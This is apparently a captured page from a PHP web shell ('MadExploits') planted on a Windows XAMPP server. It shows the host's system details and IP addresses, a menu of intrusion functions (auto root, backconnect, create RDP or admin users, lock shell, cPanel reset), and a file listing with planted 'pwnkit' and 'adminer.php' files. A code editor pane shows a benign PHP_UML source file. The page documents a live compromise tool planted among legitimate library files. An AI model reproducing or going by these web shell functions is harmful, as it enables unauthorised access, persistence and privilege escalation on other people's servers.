Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
php /
pear /
PHP /
UML /
Metamodel /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Artifact.php
715
B
-rw-rw-rw-
Class.php
682
B
-rw-rw-rw-
Classifier.php
847
B
-rw-rw-rw-
Datatype.php
639
B
-rw-rw-rw-
Enumeration.php
995
B
-rw-rw-rw-
Helper.php
7.66
KB
-rw-rw-rw-
Interface.php
559
B
-rw-rw-rw-
NamedElement.php
1.38
KB
-rw-rw-rw-
Operation.php
733
B
-rw-rw-rw-
Package.php
733
B
-rw-rw-rw-
Parameter.php
628
B
-rw-rw-rw-
Property.php
715
B
-rw-rw-rw-
Stereotype.php
877
B
-rw-rw-rw-
Superstructure.php
10.23
KB
-rw-rw-rw-
Tag.php
571
B
-rw-rw-rw-
Type.php
564
B
-rw-rw-rw-
TypeResolver.php
3.26
KB
-rw-rw-rw-
TypeResolverById.php
5.12
KB
-rw-rw-rw-
TypeResolverByName.php
5.43
KB
-rw-rw-rw-
TypedElement.php
582
B
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TypeResolver.php
<?php /** * PHP_UML * * PHP version 5 * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 * @version SVN: $Revision: 175 $ * @link http://pear.php.net/package/PHP_UML * @link http://www.omg.org/mof/ * @since $Date: 2011-09-15 17:07:58 +0200 (jeu., 15 sept. 2011) $ * */ /** * A TypeResolver is a class designed to correct a Metamodel_Package whose * relationships between elements are not realized by direct references (nut * by means of a qualified name, or an ID...) * Such a tool is particularly needed when building a UML model, as during the * iteration process, some of the referenced elements may have not yet been met. * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 */ abstract class PHP_UML_Metamodel_TypeResolver { /** * A reference of the top package of the model to resolve * * @var PHP_UML_Metamodel_Package */ protected $topPackage; /** * List of default packages where to look for orphaned elements * * @var array */ protected $defaultRepo = array(); /** * Recursively replaces all the "named types" by a proper "reference" to a * typed element. This impacts: * - the extended classes and implemented classes (through their * EMOF-"superClass" and "implements" relations) * - the function parameters (through their EMOF-"type" attribute) * - the properties in classes (through their EMOF-"type" attribute) * * @param PHP_UML_Metamodel_Package &$ns Package to resolve the elements of * @param array $default Default packages where to look for * orphaned elements */ abstract public function resolve(PHP_UML_Metamodel_Package &$ns, array $default); /** * Resolution error. Might later be isolated in a specific class. * * @param string $element Element * @param PHP_UML_Metamodel_NamedElement $na NamedElement */ static protected function resolutionWarning($element, $na) { PHP_UML_Warning::add('Could not resolve '.$element. (empty($na->file) ? '' : ' in '.$na->file->name)); } /** * Retrieve the PHP_UML_Metamodel_Package object related to a package path * (ie, to a qualified name, like A\B\C). * Relies on the model->$packages, when references are still named * (= before their resolution) * * @param string $path The path to find * * @return PHP_UML_Metamodel_Package The package to find. Null if not found. */ protected function getPackageByPath($path) { $pkg = $this->topPackage; do { list($pos, $first, $path) = PHP_UML_Metamodel_Helper::getPackagePathParts($path); if ($first!='') $pkg = PHP_UML_Metamodel_Helper::findSubpackageByName($pkg, $first); if ($pkg===false) return false; } while (!($pos===false)); return $pkg; } } ?>
Close